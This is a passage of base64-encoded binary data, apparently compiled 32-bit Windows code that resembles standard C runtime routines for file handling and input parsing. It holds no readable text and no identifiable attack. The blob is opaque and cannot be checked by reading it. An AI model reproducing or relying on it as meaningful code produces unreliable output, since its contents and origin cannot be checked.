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GjoLUQA6JnM//8z/4l95GoB6N/1//9ZIX38agNeiXXgOzWknUQAfVOhoJ1EAIsEsIXAdET2QAyDdBBQ6H6Q//9Zg/j/dARHiX3kg/4UfCmhoJ1EAIsEsIPAIFD/FXSgQgChoJ1EAP80sOhJcf//WaGgnUQAgySwAEbrosdF/P7////oCwAAAIvH6FrM///Di33kagHoxvb//1nDahBoCC5EAOj8y///M/+JfeCJfeQzwIt1CIX2D5XAhcB1F+iZm///xwAWAAAA6NCv//+Dyv+LwusrVugpev//WYl9/FboMgAAAFmL+Il94IvaiV3kx0X8/v///+gTAAAAi8eL0+jky///w4t1CItd5It94FboXnr//1nDVYvsuCQQAADogHoAAKEIVEQAM8WJRfxTi10IVldT6OV8//8z/4vwWYm16O///zl7BH0DiXsEagFXV1bo0WUAAIPEEImF8O///4mV9O///zvXfxB8BDvHcwqDyP8L0OlhAwAAi8aLzsH4BYPhH8HhBomF7O///4mN3O///4s0hQhxRACKRA4kAsDQ+PdDDAgBAACIhfvv//+LhfDv//91HYtDBIuN8O///4u99O///5kryIvBG/qL1+kHAwAAizuL9ytzCPZDDAMPhJABAACAvfvv//8BD4VEAQAAi4Xs7///ixSFCHFEAIuF8O///4N8CjAAi5X07///D4QgAQAA0e6DewQAD4S5AgAAi5Xs7///i53o7///agCLBJUIcUQA/3QILP90CChT6ONkAACL+ImV5O///4uF7O///4PEEIm94O///4sMhQhxRACLhdzv//87fAEoD4X9/v//O1QBLA+F8/7//2oAjZXo7///UmgAEAAAjZX87///Uv80Af8VcKFCAIXAD4TN/v//i7307///i43w7///agBXUVPob2QAAIPEEIXSfw4PjKr+//+FwA+Cov7//4uF6O///zvwD4eU/v//jY387///hfZ0M4vRA9BOO8pzKooBPA11E41C/zvIcxiNQQGAOAp1EIvI6wwPtsAPvoDgXkQAA8hBhfZ10Y2F/O///zPSK8gDjeDv//+LwROV5O///+mlAQAAi5Xs7///iwSVCHFEAIuV9O////ZECASAi4Xw7///dBCLSwjrB4A5CnUBRkE7z3L1i8gLynUfi8Yz0ulmAQAA9kMMgHXr6NyY///HABYAAADp5f3///ZDDAEPhDEBAACDewQAdQcz9ukkAQAAi5Xs7///i43c7///K3sIA3sEiwSVCHFEAIuV9O////ZECASAi4Xw7///D4TeAAAAagJqAGoA/7Xo7///6EVjAACLjfDv//+DxBCJleTv//+LlfTv//87wXVMOZXk7///dUSLQwiDpeTv//8AA8eLyCtLCDtDCBvA99AjwYmF4O///3YZi0MIi43k7///gDgKdQFHQEE7jeDv//9y8PdDDAAgAADrX2oAUlH/tejv///o0WIAAIPEEIXSfw4PjAz9//+FwA+CBP3//7gAAgAAO/h3EfZDDAh0C/dDDAAEAACL+HQDi3sYi4Xs7///i43c7///i5X07///iwSFCHFEAPZECAQEi4Xw7///dAFHgL377///AXUC0e8rx4PaAImV9O///4C9++///wF1AtHuM9IDxhOV9O///4tN/F9eM81b6Klf//+L5V3DahRoKC5EAOisx///M/aJdeSLfQiD//51EOhSl///xwAJAAAA6bcAAACF/w+InwAAADs9+IxEAA+DkwAAAIvHwfgFiUXgi9+D4x/B4waLBIUIcUQAD75EAwSD4AF0clfo73r//1mJdfyLReCLBIUIcUQA9kQDBAF0KFfokX3//1lQ/xVsoUIAhcB1CP8VuKBCAIvwiXXkhfZ0GOidlv//iTDoypb//8cACQAAAIPO/4l15MdF/P7////oCgAAAIvG6yGLfQiLdeRX6Ct+//9Zw+iblv//xwAJAAAA6NKq//+DyP/oFcf//8NqEGhILkQA6MPG//8z24ld5It1CIP+/nUX6DWW//+JGOhilv//xwAJAAAA6bYAAACF9g+IlwAAADs1+IxEAA+DiwAAAIvewfsFi/6D5x/B5waLBJ0IcUQAD75EOASD4AF1Cujslf//gyAA62pW6Ph5//9Zg2X8AIsEnQhxRAD2RDgEAXQT/3UQ/3UMVuheAAAAg8QMi/jrFujqlf//xwAJAAAA6KuV//+DIACDz/+JfeTHRfz+////6AoAAACLx+soi3UIi33kVuhDff//WcPof5X//4kY6KyV///HAAkAAADo46n//4PI/+gmxv//w1WL7LjwGgAA6NN0AAChCFREADPFiUX8g6VE5f//AItFCItNDFYz9omFOOX//1cz/4mNMOX//4m1QOX//zl1EHUHM8DpDQgAAIXJdR/oE5X//yEw6ECV///HABYAAADod6n//4PI/+nqBwAAi9CLyMH6BYPhH8HhBomVKOX//1OLFJUIcUQAiY0k5f//ilwRJALb0PuA+wJ0BYD7AXUri0UQ99CoAXUc6LiU//8hMOjllP//xwAWAAAA6Byp///piAcAAIuFOOX///ZEEQQgdA9qAmoAagBQ6IRgAACDxBD/tTjl///oJl8AAFmFwA+EUAMAAIuFKOX//4uNJOX//4sEhQhxRAD2RAEEgA+EMgMAAOiL3P//M8mLQGw5iKgAAACNhRjl//9Qi4Uo5f//D5TBiY085f//i40k5f//iwSFCHFEAP80Af8VGKJCAIXAD4TuAgAAObU85f//dAiE2w+E3gIAAP8VaKFCAIuVMOX//zPJIY045f//iYUQ5f//iY005f//iZUs5f//OU0QD4aBBgAAi4Us5f//M9KJlUDl///HhRTl//8KAAAAIb085f//hNsPha4BAACKEDPAi40k5f//gPoKD5TAiYUY5f//i4Uo5f//iwSFCHFEAImFPOX//zl8ATh0HIpEATSIRfSLhTzl//+IVfVqAiF8ATiNRfRQ61oPvsJQ6NmN//9ZhcB0RIuFMOX//4uVLOX//yvCA0UQg/gBD4bbAQAAagJSjYU05f//UOhYYgAAg8QMg/j/D4QFAwAAi4Us5f//QP+FQOX//+smagH/tSzl//+NhTTl//9Q6CliAACDxAyD+P8PhNYCAACLhSzl//8zyUD/hUDl//9RUWoFiYUs5f//jUX0UGoBjYU05f//UFH/tRDl////FSiiQgCJhTzl//+FwA+ElQIAAGoAjY045f//UYuNJOX//1CNRfRQi4Uo5f//iwSFCHFEAP80Af8V9KFCAIXAD4RMAQAAi7VA5f//i41E5f//A/GLhTzl//85hTjl//8PjEkCAAA5vRjl//90S4uNJOX//42FOOX//2oAUGoBjUX0xkX0DVCLhSjl//+LBIUIcUQA/zQB/xX0oUIAhcAPhO0AAACDvTjl//8BD4z3AQAA/4VE5f//RouNNOX//+mGAAAAgPsBdAWA+wJ1Mw+3CDPSZjuNFOX//4mNNOX//w+UwoPAAomVPOX//4uVQOX//4PCAomFLOX//4mVQOX//4D7AXQFgPsCdUtR6NpwAABZi4005f//ZjvBdXWDxgI5vTzl//90ImoNWFCJhTTl///otHAAAFmLjTTl//9mO8F1T0b/hUTl//+LlUDl//+LhSzl//87VRAPgqn9///pRQEAAIudKOX//0aKAouVJOX//4sMnQhxRACIRAo0iwSdCHFEAMdEAjgBAAAA6RcBAAD/FbigQgCL+OkKAQAAi4Uo5f//iwyFCHFEAIuFJOX///ZECASAD4R1AwAAi5Uw5f//M/+JvTTl//+E2w+FDgEAAItdEImVOOX//4XbD4SNAwAAM8mNvfTr//+LwomNPOX//yuFMOX//zvDc0SKCkJAiI0f5f//gPkKiZU45f//i4085f//dQv/hUTl///GBw1HQYqVH+X//4gXR4uVOOX//0GJjTzl//+B+f8TAAByuIuNJOX//42F9Ov//yv4jYUg5f//agBQV42F9Ov//1CLhSjl//+LBIUIcUQA/zQB/xX0oUIAhcAPhBP///8DtSDl//85vSDl//98FouVOOX//4vCK4Uw5f//O8MPgkH///+LvTTl//+LjUTl//+F9g+F9QIAAIX/D4SsAgAAagVbO/sPhZgCAADoJZD//8cACQAAAOjmj///iRjpxgIAAIvKgPsCD4XqAAAAOXUQD4Z8AgAAx4UU5f//CgAAAIOlGOX//wCNnfTr//+LwWoNK8KLlRjl//9eO0UQczMPtzmDwAKDwQJmO70U5f//dRCDhUTl//8CZokzg8MCg8ICZok7g8ICg8MCgfr+EwAAcsiNhfTr//+JjTzl//+LjSTl//8r2GoAjYUg5f//UFONhfTr//9Qi4Uo5f//iwSFCHFEAP80Af8V9KFCAIu1QOX//4u9NOX//4XAD4Ty/f//A7Ug5f//ibVA5f//OZ0g5f//D4zx/v//i4085f//i8GLlTDl//8rwjtFEA+CLv///+nT/v//i10QiY045f//hdsPhIoBAADHhRTl//8KAAAAg6UY5f//AI2FSOX//4u9OOX//yvKi5UY5f//O8tzOw+3N4PBAoPHAom9OOX//2Y7tRTl//91EmoNX2aJOIPAAou9OOX//4PCAmaJMIPCAoPAAoH6qAYAAHLBM/aNjZzy//9WVmhVDQAAUY2NSOX//yvBmSvC0fhQi8FQVmjp/QAA/xUookIAi7VA5f//i7005f//iYU85f//hcAPhAD9//8zyYmNQOX//2oAK8GNlSDl//9SUI2Fn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gEAAImFDP7//4mFKP7//4mFPP7//4mFUP7//4mFEP7//4mdXP7//4mFFP7//4X/dRjogXz//8cAFgAAAOi4kP//g8j/6Q8SAACFyXTkVoPO//ZBDEB1cFHoHV7//1mLyDvOdBmD+f50FIvRwfgFg+IfweIGAxSFCHFEAOsFujBeRAD2QiR/dSg7znQZg/n+dBSLwYPhH8H4BcHhBgMMhQhxRADrBbkwXkQA9kEkgHQX6AJ8///HABYAAADoOZD//4vG6ZARAAD/dRCNjfz9///oSE///zPAi/CIhXn+//+LyIm1cP7//4oHibVg/v//iY0w/v//hMAPhEURAAAPtsBQ6MhzAABZhcB0UE6NhWD+//+JtWD+//+LtXT+//9WUOhDEQAAWVmD+P90CVZQ6CRxAABZWUcPtgdQ6I9zAABZhcB18Yu1YP7//4m9aP7//4m1cP7//+nxDwAAigdqJVk6wQ+FYQ8AADhPAQ+ETg8AAIu1aP7//zPJiY00/v//i/mIjU/+//+3AYmNQP7//4rZiY04/v//iY0s/v//iI1X/v//iI1W/v//iI16/v//iI1n/v//iI17/v//iY0k/v//Rg+2BomFSP7//w+2wFDoz3IAAFmFwHRti41I/v///4U4/v//a8cKjXnQA/iKpXr+//+KhXv+//+E23TEiL1m/v//i51c/v//ibVo/v//i7Vw/v//ib1s/v//hOQPhRwBAACLjRj+//+JjRT+//+DwQSJjRj+//+LUfyJlUj+///pAAEAAIuFSP7//4P4Tg+PlgAAAHSWg/gqdHyD+EZ0jIP4SXQQg/hMD4WLAAAA/sfpd////4pGATw2dSONTgKAOTR1G4vx/4Uk/v//g6U8/v//AIOlUP7//wDpTf///zwzdQ+NTgKAOTJ1B4vx6Tr///88ZA+EMv///zxpdHg8bw+EJv///zx4D4Qe////PFh1J+kV////iqV6/v///sSIpXr+///pCP///4P4aHQ7g/hsdAyD+Hd0GP7D6ez+//+NRgGAOGx1B4vw6Xf////+x4qFe/7///7AiIV7/v//iqV6/v//6c7+//+KhXv+///+z/7I6+OKhXv+///r4YOlSP7//wAyyYiNeP7//4uNaP7//4TAdRiKATxTdAvGhXv+////PEN1B8aFe/7//wEPtgmDySCJjVj+//+D+W50YYP5Y3Qmg/l7dCH/tXT+//+NhWD+//9Q6MsOAACLtWD+//9ZibVw/v//6xj/tXT+//9GibVw/v//ibVg/v//6NP7//+L2ImdXP7//1mD+/8PhBUOAACLjVj+//+KpXr+//+LlTj+//+F0nQIhf8PhOQNAACE5HVIg/ljdAqD+XN0BYP5e3U5i4UU/v//g8AEiYUU/v//i1D8g8AEiYUY/v//iZVI/v//i0D8iYUs/v//g/gBD4IhDQAAi5U4/v//g/lvD4/sBQAAD4QRCQAAg/ljD4QqBAAAg/lkD4T/CAAAD474BQAAg/lnfmGD+Wl0PoP5bg+F5QUAAIC9ev7//wCLxg+E7AsAAIu9aP7//4qFef7//4u1cP7///7AR4iFef7//4m9aP7//+mFDAAAamRfib1Y/v//g/stD4XRBgAAxoVW/v//AenKBgAAM/aD+y11C4uFRP7//0aIGOsFg/srdST/tXT+//9Pib1s/v//i71w/v//R+ia+v//i9hZiZ1c/v//6waLvXD+//+DvTj+//8AdQeDjWz+////D7bDUOh8bwAAWYuNbP7//4XAdGqLwUmJjWz+//+FwHRdi4VE/v///4VA/v//iB